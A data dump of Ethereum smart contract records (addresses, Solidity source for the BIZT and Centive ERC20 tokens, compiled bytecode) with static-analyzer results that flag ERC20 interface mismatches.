ff161415156106c3577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252601a8152602001807f4f6c642061646472657373657320646f206e6f74206d617463680000000000008152506020019250505060405180910390a16106be6113aa565b610c46565b8173ffffffffffffffffffffffffffffffffffffffff16600760040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156107c6577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252601a8152602001807f4e65772061646472657373657320646f206e6f74206d617463680000000000008152506020019250505060405180910390a16107c16113aa565b610c46565b600760000160006002811015156107d957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156108d7577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825260128152602001807f5369676e6572206973207370616d6d696e6700000000000000000000000000008152506020019250505060405180910390a16108d26113aa565b610c46565b3360076000016007600201546002811015156108ef57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610947600160076002015461149690919063ffffffff16565b60076002018190555061096a6007600201546005546114b490919063ffffffff16565b90506000811415610a87576007600001600060028110151561098857fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610a86577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252601a8152602001807f4f6e65206f66207369676e657273206973207370616d6d696e670000000000008152506020019250505060405180910390a1610a816113aa565b610c46565b5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7bc835da852cc381812c14f7e1f5d7c88561b2fdb095ce8314025bb44056d784836040518082815260200191505060405180910390a360026007600201541415610c45577fc2e5feb5b57381ae467c886dd61b81337257507ba62556583cecca96a1d2320c8383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610b996113aa565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690556001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610c46565b5b505050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ca557600080fd5b6000809054906101000a900460ff16151515610cc057600080fd5b60016000806101000a81548160ff02191690831515021790555060008373ffffffffffffffffffffffffffffffffffffffff1614151515610d0057600080fd5b600082111515610d0f57600080fd5b813073ffffffffffffffffffffffffffffffffffffffff163110151515610d3557600080fd5b60006001600201541415610e5957336001600001600160020154600281101515610d5b57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160030181905550610dbc6001806002015461149690919063ffffffff16565b600160020181905550610ddf6001600201546005546114b490919063ffffffff16565b90507fc1bb95d0b9ac0dbb0b707efbc941b5e7fb37502ec8f4694160d83ef23fb59e60338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1611385565b81600160030154141515610eaa57610ea56040805190810160405280601e81526020017f496e636f727265637420616d6f756e74206f66207765692070617373656400008152506114cd565b611385565b60016000016000600281101515610ebd57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610f5557610f506040805190810160405280601281526020017f5369676e6572206973207370616d6d696e6700000000000000000000000000008152506114cd565b611385565b336001600001600160020154600281101515610f6d57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fc46001806002015461149690919063ffffffff16565b600160020181905550610fe76001600201546005546114b490919063ffffffff16565b9050600081141561109e576001600001600060028110151561100557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561109d576110986040805190810160405280601a81526020017f4f6e65206f66207369676e657273206973207370616d6d696e670000000000008152506114cd565b611385565b5b7fc1bb95d0b9ac0dbb0b707efbc941b5e7fb37502ec8f4694160d83ef23fb59e60338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a160026001600201541415611384578273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501561126c576001600001600160028110151561116c57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160000160006002811015156111b757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6c201685d45b350967167ae4bbf742a99dd958968b9c36ce07db27dda4d581d085856001604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a361137b565b6001600001600160028110151561127f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160000160006002811015156112ca57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6c201685d45b350967167ae4bbf742a99dd958968b9c36ce07db27dda4d581d085856000604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a35b611383611443565b5b5b60008060006101000a81548160ff021916908315150217905550505050565b60055481565b6007600080820160006113bd91906115a8565b60028201600090556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556004820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550507fc7192cda1b4a89757959695aea54c6eda99a836481e881d342bfa4fa9c076bb260405160405180910390a1565b60016000808201600061145691906115a8565b6002820160009055600382016000905550507f7e1e06eaa26a4b0df5c2c7a9d84ea95a187cf5a5b5bb64af0d04e623f9169dfd60405160405180910390a1565b60008082840190508381101515156114aa57fe5b8091505092915050565b60008282111515156114c257fe5b818303905092915050565b7f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef411813360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b83811015611562578082015181840152602081019050611547565b50505050905090810190601f16801561158f5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a16115a5611443565b50565b5060008155600101600090555600a165627a7a723058209e76463a693ad8f5addee67b6e674c19ddde11787cc64f4ac3cc386cbbb7b21c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,504 |
0xd49809491fa1ad3da807d1cc79200c23a0784583
|
pragma solidity ^0.4.21;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
//assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
}
contract BIZT is Ownable{
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals;
uint private _totalSupply;
uint public basisPointsRate = 0;
uint public minimumFee = 0;
uint public maximumFee = 0;
/* This creates an array with all balances */
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
/* This generates a public event on the blockchain that will notify clients */
/* notify about transfer to client*/
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
/* notify about approval to client*/
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
/* notify about basisPointsRate to client*/
event Params(
uint feeBasisPoints,
uint maximumFee,
uint minimumFee
);
// Called when new token are issued
event Issue(
uint amount
);
// Called when tokens are redeemed
event Redeem(
uint amount
);
/*
The contract can be initialized with a number of tokens
All the tokens are deposited to the owner address
@param _balance Initial supply of the contract
@param _name Token Name
@param _symbol Token symbol
@param _decimals Token decimals
*/
constructor() public {
name = 'BIZT'; // Set the name for display purposes
symbol = 'BIZT'; // Set the symbol for display purposes
decimals = 18; // Amount of decimals for display purposes
_totalSupply = 1000000000 * 10**uint(decimals); // Update total supply
balances[msg.sender] = _totalSupply; // Give the creator all initial tokens
}
/*
@dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/*
@dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];
}
/*
@dev transfer token for a specified address
@param _to The address to transfer to.
@param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32){
//Calculate Fees from basis point rate
uint fee = (_value.mul(basisPointsRate)).div(1000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (fee < minimumFee) {
fee = minimumFee;
}
// Prevent transfer to 0x0 address.
require (_to != 0x0);
//check receiver is not owner
require(_to != address(0));
//Check transfer value is > 0;
require (_value > 0);
// Check if the sender has enough
require (balances[msg.sender] > _value);
// Check for overflows
require (balances[_to].add(_value) > balances[_to]);
//sendAmount to receiver after deducted fee
uint sendAmount = _value.sub(fee);
// Subtract from the sender
balances[msg.sender] = balances[msg.sender].sub(_value);
// Add the same to the recipient
balances[_to] = balances[_to].add(sendAmount);
//Add fee to owner Account
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(msg.sender, owner, fee);
}
// Notify anyone listening that this transfer took place
emit Transfer(msg.sender, _to, _value);
}
/*
@dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
@param _spender The address which will spend the funds.
@param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) {
//Check approve value is > 0;
require (_value > 0);
//Check balance of owner is greater than
require (balances[owner] > _value);
//check _spender is not itself
require (_spender != msg.sender);
//Allowed token to _spender
allowed[msg.sender][_spender] = _value;
//Notify anyone listening that this Approval took place
emit Approval(msg.sender,_spender, _value);
return true;
}
/*
@dev Transfer tokens from one address to another
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) {
//Calculate Fees from basis point rate
uint fee = (_value.mul(basisPointsRate)).div(1000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (fee < minimumFee) {
fee = minimumFee;
}
// Prevent transfer to 0x0 address. Use burn() instead
require (_to != 0x0);
//check receiver is not owner
require(_to != address(0));
//Check transfer value is > 0;
require (_value > 0);
// Check if the sender has enough
require(_value < balances[_from]);
// Check for overflows
require (balances[_to].add(_value) > balances[_to]);
// Check allowance
require (_value <= allowed[_from][msg.sender]);
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);// Subtract from the sender
balances[_to] = balances[_to].add(sendAmount); // Add the same to the recipient
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(_from, owner, fee);
}
emit Transfer(_from, _to, sendAmount);
return true;
}
/*
@dev Function to check the amount of tokens than an owner allowed to a spender.
@param _owner address The address which owns the funds.
@param _spender address The address which will spend the funds.
@return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _from, address _spender) public view returns (uint remaining) {
return allowed[_from][_spender];
}
/*
@dev Function to set the basis point rate .
@param newBasisPoints uint which is <= 2.
*/
function setParams(uint newBasisPoints,uint newMaxFee,uint newMinFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints <= 9);
require(newMaxFee <= 100);
require(newMinFee <= 5);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**uint(decimals));
minimumFee = newMinFee.mul(10**uint(decimals));
emit Params(basisPointsRate, maximumFee, minimumFee);
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
// @param _amount Number of tokens to be issued
function increaseSupply(uint amount) public onlyOwner {
amount = amount.mul(10**uint(decimals));
require(_totalSupply.add(amount) > _totalSupply);
require(balances[owner].add(amount) > balances[owner]);
balances[owner] = balances[owner].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Issue(amount);
}
/*
Redeem tokens.
These tokens are withdrawn from the owner address
if the balance must be enough to cover the redeem
or the call will fail.
@param _amount Number of tokens to be issued
*/
function decreaseSupply(uint amount) public onlyOwner {
amount = amount.mul(10**uint(decimals));
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply = _totalSupply.sub(amount);
balances[owner] = balances[owner].sub(amount);
emit Redeem(amount);
}
}
|
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac5780631a7626e7146101d357806323b872dd146101e8578063313ce56714610212578063353907141461023d5780635a0ce6761461025257806370a08231146102725780638da5cb5b1461029357806395d89b41146102c457806398e52f9a146102d9578063a9059cbb146102f1578063b921e16314610315578063dd62ed3e1461032d578063dd644f7214610354575b600080fd5b3480156100f657600080fd5b506100ff610369565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a03600435166024356103f6565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16104b6565b60408051918252519081900360200190f35b3480156101df57600080fd5b506101c16104bc565b3480156101f457600080fd5b50610198600160a060020a03600435811690602435166044356104c2565b34801561021e57600080fd5b50610227610775565b6040805160ff9092168252519081900360200190f35b34801561024957600080fd5b506101c161077e565b34801561025e57600080fd5b50610270600435602435604435610784565b005b34801561027e57600080fd5b506101c1600160a060020a0360043516610853565b34801561029f57600080fd5b506102a861086e565b60408051600160a060020a039092168252519081900360200190f35b3480156102d057600080fd5b506100ff61087d565b3480156102e557600080fd5b506102706004356108d5565b3480156102fd57600080fd5b50610270600160a060020a03600435166024356109d2565b34801561032157600080fd5b50610270600435610bd1565b34801561033957600080fd5b506101c1600160a060020a0360043581169060243516610ce3565b34801561036057600080fd5b506101c1610d0e565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103ee5780601f106103c3576101008083540402835291602001916103ee565b820191906000526020600020905b8154815290600101906020018083116103d157829003601f168201915b505050505081565b60006040604436101561040557fe5b6000831161041257600080fd5b60008054600160a060020a0316815260086020526040902054831061043657600080fd5b600160a060020a03841633141561044c57600080fd5b336000818152600960209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b60045490565b60065481565b60008080604060443610156104d357fe5b6104fa6103e86104ee60055488610d1490919063ffffffff16565b9063ffffffff610d4616565b925060075483111561050c5760075492505b60065483101561051c5760065492505b600160a060020a038616151561053157600080fd5b600160a060020a038616151561054657600080fd5b6000851161055357600080fd5b600160a060020a038716600090815260086020526040902054851061057757600080fd5b600160a060020a0386166000908152600860205260409020546105a0818763ffffffff610d5d16565b116105aa57600080fd5b600160a060020a03871660009081526009602090815260408083203384529091529020548511156105da57600080fd5b6105ea858463ffffffff610d7a16565b600160a060020a038816600090815260086020526040902054909250610616908663ffffffff610d7a16565b600160a060020a03808916600090815260086020526040808220939093559088168152205461064b908363ffffffff610d5d16565b600160a060020a03808816600090815260086020908152604080832094909455918a16815260098252828120338252909152205461068f908663ffffffff610d7a16565b600160a060020a038816600090815260096020908152604080832033845290915281209190915583111561072f5760008054600160a060020a03168152600860205260409020546106e6908463ffffffff610d5d16565b60008054600160a060020a0390811682526008602090815260408084209490945591548351878152935190821693918b1692600080516020610d8d833981519152928290030190a35b85600160a060020a031687600160a060020a0316600080516020610d8d833981519152846040518082815260200191505060405180910390a35060019695505050505050565b60035460ff1681565b60075481565b600054600160a060020a0316331461079b57600080fd5b60098311156107a957600080fd5b60648211156107b757600080fd5b60058111156107c557600080fd5b60058390556003546107e490839060ff16600a0a63ffffffff610d1416565b60075560035461080190829060ff16600a0a63ffffffff610d1416565b60068190556005546007546040805192835260208301919091528181019290925290517fd16858b87f79d06c5d7f4cdf7f0943a3b343a9eb149c10ec26e7bcaae7f19bc59181900360600190a1505050565b600160a060020a031660009081526008602052604090205490565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156103ee5780601f106103c3576101008083540402835291602001916103ee565b600054600160a060020a031633146108ec57600080fd5b60035461090690829060ff16600a0a63ffffffff610d1416565b9050806004541015151561091957600080fd5b60008054600160a060020a031681526008602052604090205481111561093e57600080fd5b600454610951908263ffffffff610d7a16565b60045560008054600160a060020a031681526008602052604090205461097d908263ffffffff610d7a16565b60008054600160a060020a031681526008602090815260409182902092909255805183815290517f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44929181900390910190a150565b600080604060443610156109e257fe5b6109fd6103e86104ee60055487610d1490919063ffffffff16565b9250600754831115610a0f5760075492505b600654831015610a1f5760065492505b600160a060020a0385161515610a3457600080fd5b600160a060020a0385161515610a4957600080fd5b60008411610a5657600080fd5b336000908152600860205260409020548410610a7157600080fd5b600160a060020a038516600090815260086020526040902054610a9a818663ffffffff610d5d16565b11610aa457600080fd5b610ab4848463ffffffff610d7a16565b33600090815260086020526040902054909250610ad7908563ffffffff610d7a16565b3360009081526008602052604080822092909255600160a060020a03871681522054610b09908363ffffffff610d5d16565b600160a060020a038616600090815260086020526040812091909155831115610b9c5760008054600160a060020a0316815260086020526040902054610b55908463ffffffff610d5d16565b60008054600160a060020a039081168252600860209081526040808420949094559154835187815293519116923392600080516020610d8d83398151915292918290030190a35b604080518581529051600160a060020a038716913391600080516020610d8d8339815191529181900360200190a35050505050565b600054600160a060020a03163314610be857600080fd5b600354610c0290829060ff16600a0a63ffffffff610d1416565b600454909150610c18818363ffffffff610d5d16565b11610c2257600080fd5b60008054600160a060020a0316815260086020526040902054610c4b818363ffffffff610d5d16565b11610c5557600080fd5b60008054600160a060020a0316815260086020526040902054610c7e908263ffffffff610d5d16565b60008054600160a060020a0316815260086020526040902055600454610caa908263ffffffff610d5d16565b6004556040805182815290517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9181900360200190a150565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b60055481565b600080831515610d2757600091506104af565b50828202828482811515610d3757fe5b0414610d3f57fe5b9392505050565b6000808284811515610d5457fe5b04949350505050565b6000828201838110801590610d725750828110155b1515610d3f57fe5b600082821115610d8657fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058206681da319edc4d4ed1c11f72be208beb92fcc280bc5a844ba8142939a57237140029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,505 |
0xda9da458c3dbec5797ef5b07a6b3199cbc045b18
|
pragma solidity ^0.4.22;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Haltable
*
* @dev Abstract contract that allows children to implement an
* emergency stop mechanism. Differs from Pausable by requiring a state.
*
*
* Originally envisioned in FirstBlood ICO contract.
*/
contract Haltable is Ownable {
bool public halted;
modifier inNormalState {
assert(!halted);
_;
}
modifier inEmergencyState {
assert(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner inNormalState {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function resume() external onlyOwner inEmergencyState {
halted = false;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
/* Transfer token for a specified address */
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) public allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance;
_allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable
*
* @dev Standard ERC20 token
*/
contract Burnable is StandardToken {
using SafeMath for uint;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
// Check if the sender has enough
balances[msg.sender] = balances[msg.sender].sub(_value);
// Subtract from the sender
totalSupply = totalSupply.sub(_value);
// Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value);
// Check if the sender has enough
require(_value <= allowed[_from][msg.sender]);
// Check allowance
balances[_from] = balances[_from].sub(_value);
// Subtract from the sender
totalSupply = totalSupply.sub(_value);
// Updates totalSupply
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Burn(_from, _value);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_to != 0x0);
//use burn
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(_to != 0x0);
//use burn
return super.transferFrom(_from, _to, _value);
}
}
/**
* @title Centive Token
*
* @dev Burnable Ownable ERC20 token
*/
contract Centive is Burnable, Ownable {
string public name;
string public symbol;
uint8 public decimals = 18;
/* The finalizer contract that removes the transfer restrictions imposed by the lockout period */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success.
* If false we are are in transfer lock up period.
*
*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period.
* These are crowdsale contracts and possible the team multisig itself.
*
*/
mapping(address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
require(transferAgents[_sender] || released);
_;
}
/** The function can be called only before or after the tokens have been releasesd */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/** @dev Constructor that gives msg.sender all of existing tokens. */
constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
// Update total supply with the decimal amount
balances[msg.sender] = totalSupply;
// Give the creator all initial tokens
name = tokenName;
// Set the name for display purposes
symbol = tokenSymbol;
// Set the symbol for display purposes
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) external onlyOwner inReleaseState(false) {
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
}
function release() external onlyReleaseAgent inReleaseState(false) {
released = true;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) external onlyOwner inReleaseState(false) {
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) public canTransfer(msg.sender) returns (bool success) {
// Call Burnable.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public canTransfer(_from) returns (bool success) {
// Call Burnable.transferForm()
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302f652a3811461012157806306fdde0314610149578063095ea7b3146101d357806318160ddd1461020b57806323b872dd1461023257806327e235e31461025c57806329ff4f531461027d578063313ce5671461029e57806342966c68146102c95780635c658165146102e157806370a082311461030857806379cc679014610329578063867c28571461034d57806386d1a69f1461036e5780638da5cb5b1461038357806395d89b41146103b457806396132521146103c9578063a9059cbb146103de578063d1f276d314610402578063dd62ed3e14610417578063f2fde38b1461043e575b600080fd5b34801561012d57600080fd5b50610147600160a060020a0360043516602435151561045f565b005b34801561015557600080fd5b5061015e6104bc565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610198578181015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b506101f7600160a060020a036004351660243561054a565b604080519115158252519081900360200190f35b34801561021757600080fd5b506102206105ec565b60408051918252519081900360200190f35b34801561023e57600080fd5b506101f7600160a060020a03600435811690602435166044356105f2565b34801561026857600080fd5b50610220600160a060020a0360043516610643565b34801561028957600080fd5b50610147600160a060020a0360043516610655565b3480156102aa57600080fd5b506102b36106bc565b6040805160ff9092168252519081900360200190f35b